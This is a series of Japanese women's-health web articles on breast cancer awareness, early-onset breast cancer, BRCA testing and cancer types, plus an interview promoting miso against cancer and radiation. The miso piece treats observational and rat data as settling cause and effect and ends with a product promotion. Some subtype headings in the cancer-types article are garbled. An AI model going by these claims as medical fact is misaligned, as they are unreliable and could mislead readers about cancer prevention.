ピンクリボン限定フラワーボックス(抽選で5名様)※詳細は特設URLからご確認ください。※当選の場合は、Instagramキャンペーンアカウント(ELGC BC事務局:@ELGCBCC_CP2018)より当選者へ直接ご連絡いたします。今回のキャンペーンではこのほか、世界の主要建造物をピンク色にライトアップする「グローバル ランドマーク イルミネーション」も実施。京都の清水寺や、東京スカイツリー®が美しいピンク色にライトアップされる光景は圧巻だ。自分だけでなく大切な人の乳がんへの意識を高めるためにも、家族やパートナーと一緒に足を運んでみてはいかがだろうか。【参考】※「Time To End Breast Cancer #乳がんのない世界へ」

自分の体をきちんと知ろう！ をテーマの連載「カラダケア戦略術」。前回は「大人のニキビやむくみに効く漢方」について、お届けしました。今回は、「若年性乳がん」について女性医療ジャーナリストの増田美加がお伝えします。若年性乳がんってどんながん？image via shutterstock20代、30代の若い世代の乳がんのことを報道などで耳にすることが増えました。「気になる……」という問い合わせが増えています。「どんな人が注意すべき？」「どんな検査でわかるの？」「授乳中は気づきにくいって本当？」「かかってしまったときの治療法は？」など。気になる若年性乳がんについて、お伝えします。20代、30代の若年性乳がん、実は多くないのです「若年性乳がん」とは、34歳以下の乳がんのことを指します。今、日本で乳がんは、女性のがんのなかで最も多いがんで、罹患者数、死亡者数も増加し続けています。乳がんが多い年齢は40代、50代。若年性乳がんは、40代、50代の乳がんと比べて、決して多くはないのです。とはいえ、若年性乳がんはよく知られていないことから、「どんな人がかかりやすく、何に注意すべき？」など、不安に思う人が多いのも事実です。34歳以下の若年性乳がんは、乳がん全体の1割未満しかありません。若年性乳がんにどんな特徴があるのでしょうか？若年性乳がんは、「どちらか片側の乳房の乳がんで、血縁にがんの人がいて、肥満の影響はない」という特徴があります。34歳以下の乳がんでは、BMIが18以下でやせ型の人ほうがかかりやすく、逆に35歳以上になるとBMI25以上で太り気味（肥満）の人がかかりやすくなると言われています。とはいえ、若い人は、あくまで肥満の影響を受けにくいというだけで、太った人がかからないというわけではありません。また、両方の乳房に乳がんが発症するケースは少なく、どちらか片側の乳房だけに発症する、という人が多い傾向にあります。さらに、血縁（近い親族）に乳がん患者さんがいれば、発症する確率が高くなると考えられています。血縁のがんで、若年性乳がんのリスクが高まる条件は、本人が乳がんを発症していない場合、一方の家系で2人以上、乳がん、上皮性卵巣がん、卵管がん、腹膜がんに罹患している。1度（両親、子ども、きょうだい）、もしくは2度近親者（祖父母、孫、おじ、おば、めい、おい）が若年性乳がんに罹患している。男性乳がんに罹患している人がいる。一方の家系で、乳がん＋ほかのがんが複数ある場合です。自分で触って気づく場合が多いのも特徴ですimage via shutterstock40歳未満は、国によって決められた乳がん検診が行われていません。そのため34歳以下の女性は、検診で発見されるケースは少なく、多くは自分で触ってわかることが多い傾向にあります。たとえば、入浴時に体を洗っているときや入浴後にクリームを塗っているとき、ブラジャーを着けるときなども、発見しやすいタイミングです。34歳以下の女性は、しこりが大きくなってから気づき、乳がんが進んだ状態で発見されることが多くなっています。発見時のしこりの大きさの平均は、34歳以下が2.9cm、35歳以上が2.4cmです。どの年齢も乳がんの発生場所として多いのは、乳房の上の外側です。若年性乳がんの人は遺伝が多い？若い年齢で乳がんを発症したら、遺伝性の可能性が高いと言われています。若年性乳がんは、遺伝性乳がん卵巣がん症候群（HBOC）とかかわっています。女優のアンジェリーナ・ジョリーさんがHBOCを告白したことでも有名です。HBOCとは、BRCA1、2の遺伝子の変異が原因で、乳がんや卵巣がんを高い確率で発症する遺伝性腫瘍です。ただし、HBOCは、乳がん、卵巣がん全体の約1割以下です。遺伝性でないがんのほうが多いのです。遺伝性乳がん卵巣がん症候群（HBOC）が疑われる人は？母方、父方それぞれの家系（血縁）で、以下のチェック項目に、あなた自身を含め、該当する人がいますか？□ 40歳未満で乳がんを発症した方がいますか？□ 年齢を問わず、卵巣がん（卵管がん・腹膜がん含む）の方がいますか？□すい臓がんや前立腺がんの方がいますか？□ 血縁者の中でひとりの方が時期を問わず、乳がんを2箇所以上発症したことがありますか？□ 男性の方で乳がんを発症した方がいますか？□ 血縁者の中で本人を含めて、乳がんを発症した方が3人以上いますか？□ トリプルネガティブの乳がん（エスロゲン受容体をもっておらず、HER2発現がないタイプ）といわれた方がいますか？□ 血縁者にBRCAの遺伝子変異が確認された方がいますか？上記の質問にひとつでも当てはまれば、HBOCである可能性は一般よりも高いと考えられます。心配な人は、乳がん専門病院で行われている遺伝カウンセリングで相談してください。血縁に乳がんや卵巣がんがいる人は一度、乳腺外科へ40歳未満の乳がん検診は、科学的根拠がないため、国が推奨する検診は行われていません。そのため、自分でしこりを見つけることが多く、若年性乳がんと診断されたときは、進んだ状態で進行が早いことが多いと言われています。とは言っても、過剰に心配する必要はありません。34歳以下で乳がんになる人は非常に少ないからです。若年性乳がんに、特に気をつけたい人は、血縁に乳がんや卵巣がんの人がいらっしゃる場合です。気になる方は、乳腺専門のクリニックを受診してください。ひとりひとりの状態に合った検査をしてくれます。若年性乳がんについての詳しい情報は、「厚生労働省 若年乳がん患者のサバイバーシップ支援プログラム」のサイトが参考になります。若年性乳がんの患者会ともリンクされています。ほかにも20代、30代で乳がんに罹患した女性たちをサポートする若年性乳がんの体験者の会「Pink Ring（ピンクリング）」もあります。また、遺伝性乳がん卵巣がん症候群（HBOC）については、「日本HBOCコンソーシアム」を参考にしてください。増田美加・女性医療ジャーナリスト予防医療の視点から女性のヘルスケア、エイジングケアの執筆、講演を行う。乳がんサバイバーでもあり、さまざまながん啓発活動を展開。著書に『医者に手抜きされて死なないための患者力』（講談社）、『女性ホルモンパワー』（だいわ文庫）ほか多数。NPO法人みんなの漢方理事長。NPO法人乳がん画像診断ネットワーク副理事長。NPO法人女性医療ネットワーク理事。NPO法人日本医学ジャーナリスト協会会員。公式ホームページ乳がんについて気になる方はアメリカのがん専門家に聞いた、乳がんの全タイプを細かく解説 乳がんには様々なタイプがあります。ベストな治療法はそれぞれ。乳がんのタイプと治療法を判断するには、普通3つの要素を知っておきましょう。 予防のためにやった方がよいことは？ 乳がんにならないための10カ条 乳がんはアメリカ人女性の8人に1人がかかると言われるがん。とはいえそれで命を落とす人は少なくなっています。乳がんのリスクを避けるための10か条をご紹...

日本人のソウルフードである味噌。いま、がんや高血圧を防ぎ、整腸効果や美肌効果が期待できるなど、味噌がもつ驚くべきパワーに注目が集まっています。味噌の効能を30年にわたり研究している広島大学名誉教授の渡邊敦光先生に、女性のカラダにうれしい味噌のメリットについて聞きました。渡邊先生の専門は、実験病理学と放射線生物学。発がん性物質や放射線を使い、がん化の機構の解明に取り組んでいます。味噌とはかけ離れた研究テーマのようですが、じつは味噌には放射線を防ぐ作用があるのだそう。「味噌と放射線、マウスで実験したところ、放射線を浴びる以前から味噌を摂取していると、その障害が緩和されることがわかったのです。調査の結果、それは味噌を褐色にするメラノイジンという物質と関係があるとわかりました。最近では、放射線の防御作用はメラノイジンだけではなく、ある物質も効果がありそうなことが分かり始めています」（渡邊先生）ダイエットや美肌にもつながる…「メラノイジン」で腸をきれいにこのメラノイジン、じつは「腸活」にもぴったりの成分。腸内環境を整えて便秘を解消してくれるといいます。「栄養学者の五明紀春博士の研究によると、メラノイジンを加えたエサを与えたラットでは、通常のエサを与えたラットと比べて、腸内の乳酸菌が10倍も増えることがわかりました。乳酸菌の働きが活発になれば、便の排泄がスムーズになり、腸がきれいになります。腸内の粘膜組織の再生も活発になり、老廃物を効率よく排出できるようになりますから、体内の老廃物もため込まずに済むようになります」（渡邊先生）腸がきれいになれば、ダイエット効果、美肌効果、アンチエイジングなども期待できます。メラノイジンが豊富に含まれるのは熟成が進んだ味噌なので、半年～2年間を目安によく熟成された味噌を選ぶことがポイントです。「また、これはテレビ番組でも紹介されて話題になりましたが、味噌に含まれるグルコシルセラミドという成分には、角層の保水力アップなどの効果が期待できます。メラニンの合成を抑えるリノール酸も含まれているので、シミの予防や美白効果もあると考えられます」（渡邊先生）実際に先生のまわりでも、「ミソガール」として味噌の魅力を広める活動をしている藤本智子さんなど、味噌汁をよく飲むようになってから「肌がきれいになった」という人がとても多いそう。毎日の味噌汁で、腸も肌もきれいになるとはうれしいかぎりです。味噌のイソフラボンが「乳がん」を抑制する味噌にはこのほかにもさまざまな成分が含まれ、それぞれに健康効果が認められていると渡邊先生。たとえば味噌に含まれるイソフラボンには、乳がんを抑制するはたらきがあるといいます。「2003年、『味噌汁の摂取が多い女性は乳がんになりにくかった』という調査結果が、厚生労働省の研究班から発表されました（※1）。1日1杯以下しか味噌汁を飲まない人を1とすると、1日3杯以上の人の乳がんリスクは0.6。なんと4割減という結果が出たのです」（渡邊先生）この乳がんと味噌汁に関する調査は、味噌汁や豆腐・納豆などの大豆製品の摂取率と乳がんの発生率の関係を調べたもの。40～59歳の女性21,852人を対象に、10年間にわたって調査が行われました。「味噌以外の大豆製品（大豆、豆腐、油揚げ、納豆）についても調べましたが、そちらでは明確な関連がみられなかったといいますから、これは味噌汁の効果とみて間違いないと思います。さらに、Gotohが行ったラットを用いた実験では、乳腺腫瘍があるラットでも、味噌を食べる量が多ければ多いほど、腫瘍が大きくならないことが分かりました（※2）」（渡邊先生）乳がんだけでなく、肺腺がん、日本人に多い肝臓がんや大腸がんにも、味噌の抑止効果が確認されたと渡邊先生。味噌とがんの関係にはまだまだ解明しきれていない部分がたくさんあるけれど、「おおむね味噌にがんの予防効果がありそうだ」と結論づけても問題ないだけの結果が得られていると話します。※1出典：Yamamoto S.,J Natl Cancer Inst 95:906-913,2003.、※2出典：Gotoh T Jpn Cancer Res 89：137-142,487-495 1998.伝統的な和食で「がん対策」を現在の日本の食生活を考えると、味噌の消費量が減り、欧米化が進んでいることに危惧をおぼえるという渡邊先生。「小麦から作るパンや牛乳、肉類、脂料理、乳製品を多くとる食事は、日本人には高脂肪で食物繊維が少なすぎます。西洋人より食物繊維を多くとってきた日本人の大腸は、彼らと比べると1メートルも長く、食物繊維に対応しやすい体になっています。ところが西洋料理が浸透したことで、体に思わぬ影響が出てしまった。そのひとつが、がんの罹患率が増えたこと。食物繊維が少なく消化しやすい西洋料理を食べることで、大腸が発がん性物質に触れる機会が多くなってしまったと考えられます」（渡邊先生）実際にデータ（※3）でも、戦後70余年で日本人のがん罹患率は増え続けていると渡邊先生。食生活の改善から効果があらわれるまでには、がんの潜伏期から考えると20年以上かかるため、できるだけ早く改善してほしいと話します。「1日2杯以上味噌汁を飲む食生活、すなわち和食に立ち戻ること。それが日本人の体質や遺伝子に合った“がん対策”になります」（渡邊先生）渡邊敦光先生にうかがう味噌の驚くべき健康効果。第2回は味噌の栄養成分や、味噌を食べても塩分過多にならない理由など、味噌をもっと楽しむ基礎知識についてご紹介します。※3出典：がん情報サービス2015よりどんな料理もおいしくなる絶品「生味噌」を特別販売中MYLOHAS編集部が出会った＜糀屋三郎右衛門＞の最高の味噌を特別販売！ 使いやすい量に変更、通常よりお得な定期便コースもおすすめです。絶品「生味噌」をチェックする渡邊敦光（わたなべ ひろみつ）先生広島大学名誉教授、理学博士、医学博士。専門は実験病理学と放射線生物学。1940年福岡県生まれ。九州大学大学院博士課程理学研究科修了。1973年広島大学原爆放射線医科学研究所で助手、助教授を経て1996年教授。その間アメリカ ウイスコンシン大学、イギリス パターソンがん研究所で主に放射線生物学の研究を重ね、2004年退官後も名誉教授として日々研究を続けている。一方で1980年から、味噌の有効性について動物実験に基づく研究を本格的に始める。世界的な医学データベース「PubMed」にMisoについての論文を多数掲載。『味噌大全』（東京堂出版）を監修。著書に『味噌力』(かんき出版)、『味噌を使ってまいにち健康になる』（キクロス出版）など。味噌についてもっと知る簡単ヘルシーで体も喜ぶ、おいしい味噌料理レシピ4選 毎日摂りたいスーパー食材｢味噌｣。作り置きできる｢みそまる｣や、豆乳と味噌を合わせるグラタンレシピなど、簡単でおいしく、ヘルシーな味噌レシピをご紹介... 紫外線対策に、心身の不調に、毎日摂りたい味噌パワー 腸活で注目される発酵食品ですが、なかでも味噌は女性の心身の不調や紫外線対策にも効果が期待できるそう。味噌の健康効果や選び方、楽しみ方をまとめました。

クリス・ジェンナーは、ハリウッドで最も有名な母親のひとりであり、女性の健康についての啓蒙をしてているお手本でもあります。『カーダシアン家のお騒がせセレブライフ』に出演するこのセレブママが、インスタグラムの投稿で、フォロワーの女性たちに、乳ガンの検査を受けるよう呼びかけました。その検査があなたの命を救うかも「今日の朝は、この小さなベビーと、シーダーサイナイ医療センターで一緒に。みんなにマンモグラフィー検査を受けるようリマインドしているの」というコメントともに、3Dマンモグラフィー検査機の写真を投稿。62歳のジェンナーは、「私の母は乳ガンのサバイバーで、私の友人にも10人以上も同じようなサバイバーがいる。自分の人生のなかで出会った、ガンにかかわったことのある愛する人に敬意を表して、ぜひこれをやってください。みんな大好きよ！」 Kris Jennerさん(@krisjenner)がシェアした投稿 - 2018年 8月月1日午前9時58分PDT そして、ジェンナーはさらに、自身も乳房超音波検査を受けたことを明かしました。米国ガン学会によると、乳房の超音波は、乳房の変化をより深く見るために使われるそう。たとえば、乳房組織のかたい部分やかたまりなど、触ればわかるが、マンモグラフィー検査ではわからないようなものも見つけることができます。ジェンナーは、なにか異常を発見したかどうかについては触れませんでしたが、「ダブル・トリプル・チェック」をしておきたかった、と言いました。 Kris Jennerさん(@krisjenner)がシェアした投稿 - 2018年 8月月1日午前10時32分PDT 「これは片側それぞれ約15分ずつかかって、脇の下、乳房の周辺、そして胸の真ん中の方もチェックできます」と彼女はコメントしました。「全然痛みはないし、少し圧がかかるくらい。そしてとても念入りにチェックしてくれます。何人かが『もっと詳細な検査を』と言っていたので、せっかくだからシェアしようと思って」。Photo by Getty Images米国ガン協会は、ジェンナーのような55歳以上の女性には、2年ごとにマンモグラフィー検査を受けることを推奨しています。 40〜44歳の女性には年1回の定期健診、45〜54歳の女性は毎年マンモグラフィーを受けるべきだと言います。しかし、米国ガン協会は、年齢にかかわらず、すべての女性が検査にかかわるメリットとデメリット、そして潜在的なリスクについて知るべきだと言います。BreastCancer.orgによると、アメリカ人女性の8人に1人が、人生においてガンを発症するといいます。その数字を下げるためにも、ジェンナーがインスタグラムを使って、2000万人以上いるフォロワーの意識を高めるような声を上げたのは、意味のあるポジティブな一歩です。正しい乳がんの知識を得ましょう予防のためにやった方がよいことは？ 乳がんにならないための10カ条 乳がんはアメリカ人女性の8人に1人がかかると言われるがん。とはいえそれで命を落とす人は少なくなっています。乳がんのリスクを避けるための10か条をご紹... アメリカのがん専門家に聞いた、乳がんの全タイプを細かく解説 乳がんには様々なタイプがあります。ベストな治療法はそれぞれ。乳がんのタイプと治療法を判断するには、普通3つの要素を知っておきましょう。 Reslen/Kris Jenner Shares Her Breast Cancer Screening—And Reminds Fans to Get a Mammogram訳/Noriko Yanagisawa

乳がんと診断されるのは怖いものですが、どのタイプの乳がんかわかれば、少しは怖くなくなるかも。それに、ベストな治療法を決めるためにも役立ちます。「乳がんのタイプと治療法を判断するには、たいてい3つの要素を検討します」とピッツバーグ大学の内科教授で総合乳がんセンターの共同ディレクターを務める医師で、医学博士のアダム・ブラフスキーさん。「浸潤性か、ホルモン受容体陽性か、HER2陽性か、この3要素の結果から、治療法が決まるのです」アメリカがん協会（ACS）によると、ほとんどの乳がんは「がん腫（carcinoma）」と呼ばれる腫瘍で、身体中の器官や組織の「上皮（内側も含みます）」を構成する細胞から始まります。乳がんは大きく分けて2種類。まだ周囲の組織に広がっていないために治療可能性の高い「非浸潤性（in situ）と、周囲の組織まで広がっている「浸潤性（invasive）」です。さらに、身体のほかの部分（多くは肺、骨、肝臓、脳）にまで広がっている「転移性（metastatic）」乳がんもあります。では次に、知っておく方がよい乳がんのタイプを見てみましょう。非浸潤性乳がん：非浸潤性乳管がん、非浸潤性小葉（しょうよう）がん浸潤性乳がん：浸潤性乳管がん、浸潤性小葉がんまれな乳がん：炎症性乳がん、葉状腫瘍、乳腺血管肉腫乳がんのサブタイプ：ホルモン受容体陽性（ルミナル）乳がん、HER2陽性乳がん、トリプルネガティブ乳がん非浸潤性乳がん非浸潤性小葉がん（LCIS） 非浸潤性乳管がん（DCIS）これは「前がん」状態と見なされ、非浸潤性乳がんでいちばん多いタイプ。乳管に発生し、治療可能性がとても高いものです。アメリカがん協会（ACS）によると、この乳がんで初期の女性は、ほぼ全員が完治。時間とともに、浸潤性乳がんに進みます。非浸潤性小葉がん（LCIS）「小葉新生物」とも呼ばれ、「がん」とついていますが、正確にはがんではありません（「悪性度の高い腫瘍」というよりも、がんの手前の前がん病変と考えられています）。母乳を作る乳房の「小葉」という部分に、がん細胞のように見える細胞が増殖するものなのです。浸潤性乳管がん（IDC）浸潤性乳管がん、グレード3いちばん多いタイプの乳がん。浸潤性乳がんの80％を占めます。乳管の内側の細胞から発生し、乳管の壁を破って近くの乳房組織にまで増殖。そこからリンパ系と血流を通って、身体のほかの部分に広がる（転移する）場合もあります。浸潤性小葉がん（ILC）小葉（母乳を作る腺）から始まる乳がん。浸潤性乳がんのおよそ10％がこのタイプ。身体検査やマンモグラフィーのような画像検査ではIDCより検出されにくいことも。また、ほかのタイプの浸潤性乳がんに比べて、両側の乳房に発生する割合が高く、およそ5人に1人。IDCと同じく、身体のほかの部分に広がる可能性があります。まれな乳がん乳腺血管肉腫 炎症性乳がん（IBC）がん細胞が皮膚のリンパ管をふさぐため、乳房が腫れて赤みを帯びるまれな乳がん。腫れと赤みのほかに、乳房の皮膚が陥没したり厚くなったりして、オレンジのように見える（感じる）かもしれません。このような症状があったら、すぐに医師の診察を受けます。乳首のパジェット病乳管に始まって、乳首と乳輪（皮膚の色が濃くなった円形部分）に広がるまれなタイプの乳がん。乳首の湿疹（かさぶた状も）にとてもよく似て見えます。乳首から血液または黄色の液体が出てくる場合もあり、焼けるような感覚やかゆみもあるかもしれません。たいてい片方の乳首だけに出て、非浸潤性または浸潤性の乳管がんに結びついている傾向があります。葉状腫瘍がん腫が小葉や乳管にできるのに対して、乳房の結合組織に現れるまれな腫瘍。ほとんどは良性（がんではない）ですが、4症例につき1症例が悪性（がん）。40代の女性でいちばん多いとはいえ、何歳でも発症します。乳腺血管肉腫乳がん全体の1％に満たないタイプで、血管またはリンパ管の内側の細胞に発生。乳房の組織や皮膚に及ぶことがあり、以前に受けた乳房の放射線治療が関係しているケースも。乳がんのサブタイプ「乳がんと言うとひとつの症状と考えがちですが、治療には個人に合わせたケアが必要です」と、オハイオ州クリーブランド・クリニックのがん専門医でクリーブランド・クリニック・ラーナー医科大学の内科助教、メーガン・クルーズさん。「乳がんについて多くのことがわかるにつれて、さまざまなサブタイプに分けられるようになり、治療結果の改善に役立っています」（クルーズさん）クルーズさんの説明によると、主として3つのサブタイプがあり、がん細胞の組織サンプルを検査して、3つの遺伝子マーカー（エストロゲン受容体、プロゲステロン受容体、HER2〔＝はーつー〕と呼ばれるタンパク質）を持っているかどうか（陽性か陰性か）でグループ分け。3つすべてが陰性（3つとも持たない）であれば、「トリプルネガティブ乳がん」と呼ばれます。がん細胞のホルモン（エストロゲンとプロゲステロン）受容体とHER2の状態が分かると、治療法の決め手になります。次に、それぞれのサブタイプについて見てみましょう。ホルモン受容体陽性（ルミナル）乳がん一部の乳がんは、エストロゲンかプロゲステロン、またはその両方のホルモンによって助長されます。「エストロゲンは女性らしさの元になっている女性ホルモンですが、乳がん細胞の増殖を助ける『成長因子』でもあるのです」と、シアトルがん治療連合（SCCA）のがん専門医でフレッド・ハッチンソンがん研究センター臨床研究部門の準メンバー、ジェニファー・スペクトさん。これらのホルモンに対して感受性（受容体を持つ）かどうかは、ベストな治療法を決める重要な部分。エストロゲンかプロゲステロンのどちらかに陽性であれば、「ホルモン受容体陽性乳がん」ということでホルモン療法を受ける確率が高くなります。HER2陽性乳がん「これも多いタイプの乳がんです」とスペクトさん。HER2陽性とは、がん細胞が細胞の増殖を促す「ヒト上皮成長因子受容体2（HER2）」と呼ばれるタンパク質（またはHER2遺伝子）を過剰に持っているという意味。このタイプにはホルモン受容体が陽性の場合と陰性の場合があります。トリプルネガティブ乳がん乳がんと診断されたケースのおよそ17％を占め、エストロゲン、プロゲステロン、HER2の3マーカーすべてに陰性（ネガティブ）なために「トリプルネガティブ乳がん」と呼ばれます。スペクトさんによると、「最も厳しくて難しい経過が予想され、3サブタイプの増殖性が高い方ということで、最も増殖性の高い乳がんになりがちです」。米国では黒人女性で白人女性の2倍多く、閉経前の女性とBRCA1遺伝子変異をもつ女性で多い傾向があります。このレポートにご協力いただいた専門家のみなさんアダム・ブラフスキーさん：ピッツバーグ大学内科教授、総合乳がんセンター共同ディレクター、医師／医学博士メーガン・クルーズさん：オハイオ州クリーブランド・クリニックがん専門医、クリーブランド・クリニック・ラーナー医科大学内科助教ジェニファー・スペクトさん：シアトルがん治療連合（SCCA）がん専門医、フレッド・ハッチンソンがん研究センター臨床研究部門準メンバー知っておきたい、乳がんのこと乳がんによる死亡を防ぐ｢BRCA検査｣、本当に必要？ BRCA遺伝子検査は、血液のサンプルを使ってDNAを分析し、BRCA 1とBRCA 2という遺伝子に｢変異｣（DNAの塩基配列が正しくない状態）があ... 予防のためにやった方がよいことは？ 乳がんにならないための10カ条 乳がんはアメリカ人女性の8人に1人がかかると言われるがん。とはいえそれで命を落とす人は少なくなっています。乳がんのリスクを避けるための10か条をご紹... Libers/Every Type of Breast Cancer, Explained訳/STELLA MEDIX Ltd.

2013年、アンジェリーナ・ジョリーは、乳がんのリスクが高いからと、両方の乳房を切除したと発表。ファンをびっくりさせました。アンジェリーナの説明によると、BRCA遺伝子検査の結果、「欠陥のある」BRCA 1遺伝子を持っていることがわかり、これから先、乳がんになる確率が87％と推定されたためだとか。BRCA検査って何？BRCA遺伝子検査は、血液のサンプルを使ってDNAを分析し、BRCA 1とBRCA 2という遺伝子に「変異」（DNAの塩基配列が正しくない状態）があるかどうか調べるもの。このふたつの遺伝子に変異がある女性は、乳がんと卵巣がんのリスクが高くなります（日本でも実施されています。特定の抗がん剤を使うときに実施する場合以外、検査費用は自己負担になります）。BRCA遺伝子検査を受ける必要があるの？アンジェリーナ・ジョリーの話を聞いて、自分も検査を受けてみようかと思った人もいるでしょう。事実、病気の予防に関する専門誌『アメリカン・ジャーナル・オブ・プリベンティブ・メディシン』誌で今年3月に報告された研究によると、乳がんになったことのない女性でBRCA検査を受けた人の割合は、2004年のおよそ24％から2014年には60％以上まで増加。よいことのように思えるかもしれませんが、実際には少し込み入った事情があります。まず、このふたつの遺伝子に変異があるのは、アメリカ人女性の場合およそ400人に1人とまだかなりまれですから、すべての女性が検査を受ける必要はありません。それに、この検査は多くの人に確かに役立つとはいえ、検査結果から必ず乳がんになるとも、確実にならないで済むとも保証できないのです。「知識は助けになってくれるもの。BRCA検査について知っている女性が増えるほど、自分で正しく決めることができます」と、アメリカ遺伝医学・ゲノミクス学会（ACMG）の理事を務めるスーザン・クラグマンさん（ニューヨーク州ブロンクスにある医療機関、モンテフィオーレ・ヘルス・システム医療センターの生殖遺伝部長）。BRCA検査を受ける方がよさそうなのは、次のような人です。50歳より前に乳がんになった人、60歳より前にトリプル・ネガティブ乳がんになった人、あるいは何歳のときでも両方の乳房の乳がんになったり、卵巣がんになったりした人。何歳のときでも乳がんと卵巣がんの両方になった人。50歳より前に乳がんと診断された親戚（血縁者）がいる人。乳がんになった男性の親戚がいる人。BRCA1またはBRCA2の変異を持つ親戚がいる人。若いときに乳がんになった近親者（近い血縁者）が2人以上いる人。祖先が「アシュケナージ系ユダヤ人」と呼ばれる血筋に当てはまっており、何歳のときでも乳がん、卵巣がん、またはすい臓がんになった近親者がいる人。以上の要素があっても、必ずしもBRCA遺伝子変異を持つとは限りませんが、検査を受ける方がよいかどうか、専門家に相談してみる価値はあります。BRCA検査を受ける前に知っておく方がよいこと7つ1. 検査で陽性と出ても、乳がんになるとは限りませんし、逆に陰性と出ても、乳がんにならないとは限りません。BRCA遺伝子の変異があると、乳がんになるリスクが大幅に高くなりますが、絶対になるわけではありません。アメリカ国立がん研究所（NCI）によると、BRCA1変異を持つ女性の55〜65％と、BRCA2変異を持つ女性のおよそ45％が、70歳までに乳がんになると推定されます。「乳がんの遺伝子変異検査で陽性と出た（若い）人たちの母親を検査したところ、やはり同じ変異を持っていましたが、もう60代、70代になるのにがんを経験していませんでした」と、全米遺伝カウンセラー学会の会長を務めるメアリー・フライフォーゲルさん（認定遺伝カウンセラー）。研究者は首をひねるところですが、リスクを上げたり、下げたりする、別の関連した遺伝子があるのではないかと考えられています。その一方で、BRCA遺伝子変異の検査で陰性と出ても、乳がんになることがあります。すべての女性の少なくとも8人に1人が、一生のうちに乳がんになる可能性があり、乳がんになった人のなかで、既知の遺伝子との関連性が確認されるはわずか5〜10％。「家族の多くががんになっていても、BRCA変異が存在しないケースもあります」とフライフォーゲルさん。そのため、アメリカがん協会（ACS）のような団体の検査ガイドラインに従うことが大切。45歳までに毎年のマンモグラフィ検査を始める方がよいとされていますが、家族に乳がんになった人がいる場合や、ほかのリスク要素がある人は、もっと早めに検査を始めるよう、医師からすすめられるかも。2. 遺伝子変異検査で陽性と出ても、乳房切除しか道がないわけではありません。「予防的両乳房切除手術」は、BRCA遺伝子の変異を持つ女性が乳がんになるリスクを95％下げると証明されています。でも、あまりにも極端な方法に思えたり、経済的に無理であったりする（日本では予防的な手術は健康保険でカバーされません）場合は、もっと穏やかな方法も。「たいていは30歳から、毎年MRIとマンモグラフィを受けることです」とクラグマンさん。また、乳がんのリスクが高い人で、そのリスクを大幅に（おそらくは49％も）下げると研究で証明されている「タモキシフェン」という薬があります。アメリカではこの薬を使用する選択肢が存在しています。薬の利点と副作用（吐き気とホットフラッシュが現れることがあります）があるので、医師と相談のうえで使用を検討することになるのです。3. BRCAが関係しているのは乳がんだけではありません。多くの人が「乳がんの遺伝子」と考えていますが、BRCAは卵巣がんとも密接な関係が。BRCA1の変異を持つ女性のおよそ39％とBRCA2の変異を持つ女性の11〜17％が、卵巣がんになります。BRCA検査で陽性だったら、卵巣と卵管の切除を考えるかも（BRCA変異があるとわかったアメリカ人女性の70％もが、切除を選択しています。クリスティーナ・アップルゲイトはその選択をしています）。腫瘍学の専門誌『ジャーナル・オブ・クリニカル・オンコロジー』誌で報告された2014年の研究によると、この手術で卵巣がんになるリスクが80％下がるそう。「卵巣がんの場合、乳がんとは違って、特に早期の卵巣がんがわかるようなよい検査はあまりありません。ただ、予防的乳房切除に比べて、両方の卵巣を切除する方がはるかに受け入れやすく、はるかに高い割合で受け入れられています。乳房切除とは違って、外見には影響しないという点が大きな理由です」（クラグマンさん）4. BRCA遺伝子変異は、父親側から受け継ぐこともある。「遺伝子の半分は父親から受け継ぎますから、その母親や祖母が乳がんで亡くなっていたら、リスクが高くなります」とクラグマンさん。父親側の近親者（父親の母親とかおばさん、姉や妹のような）で乳がんになった人が2人以上いたら、検査を受ける必要があるかどうか判断するために、医師に遺伝専門医か遺伝カウンセラーを紹介してもらいます。5. 母親が乳がんになったら、すぐにBRCA検査を受けるだけで済ませない方がよさそう。「理想的には、がんになった家族がまず検査を受けることです」とフライフォーゲルさん。母親が乳がんになっても、母親の検査結果が陰性であれば、母親から遺伝子変異を受け継いではいないはずですから、本人が検査を受けても役に立たない可能性が高いのです（母親の検査結果が陽性なら、本人も検査を受ける方がよいと考えられます）。でも、「どの家族もみな違うもの」と、フライフォーゲルさん。検査が必要な理由はほかにもあるかもしれません。例えば、父親に、乳がんとすい臓がんになった一等親血縁者（遺伝子を半分共有する親子兄弟姉妹）がいるとか。ですから、遺伝カウンセラーか遺伝医学者に相談して、個人のリスクを評価してもらうことがとても重要なのです。6. ほかの乳がん遺伝子検査もある。ここ数年の間に、ATM、CDH1、PALB2、TP53（p53）など、乳がんのリスクを高めるほかの遺伝子変異が発見されています。なかには、ほかのがんのリスクも高くなる変異も。以前にBRCA検査を受けて陰性だったとしても、このような新しい遺伝子変異の検査を受けてみたいと思うかもしれませんね。調べる遺伝子を増やした「拡張遺伝子検査パネル」を使って行われる検査もあります。「このわずか数年で、テクノロジーはとても大きく変わりました。検査を受けたのがほんの2、3年前でも、その遺伝子検査業者に検査の追加を頼む価値はあります」と、フライフォーゲルさん。7. アメリカでは「23andMe」による検査。正確な結果を得るためにはもっと検査が必要かもしれません。アメリカでは、郵送で受けられるタイプのDNA検査システムを提供している会社「23andMe」が、BRCA 1とBRCA 2遺伝子の変異検査について、2018年3月にFDAの承認を受けました。BRCA遺伝子変異検査で初の企業から消費者に直接提供される検査です。問題は、乳がんと卵巣がんのリスクを上げる変異は1000以上あるのに、この検査でわかるのは3つの変異だけという点。つまり、「23andMe」の検査で陰性と出れば、この3つの変異はないという意味ですが、ほかの変異についてはわからないのです。もし陽性と出たら、次にどうするか判断するために遺伝カウンセリングを受けるかどうか、自分で決めなければなりません。乳がんについて詳しく乳がん検診を受けても発見できないおっぱいのタイプがある 今回は、｢乳がん検診のマンモグラフィではがんが見つからないおっぱい｣について女性医療ジャーナリストの増田美加がお伝えします。 しこりだけじゃない？ 疑うべき乳がんのサイン4つに気をつけて 乳がんというとしこりがサイン。でも研究によると、乳がんと診断された女性の6人に1人が、しこり以外の症状を最初に報告しているそう。気をつけるべきサイン... Levine/1635BRCA Testing Saves Lives From Breast Cancer—But Do You Need It?訳/STELLA MEDIX Ltd.

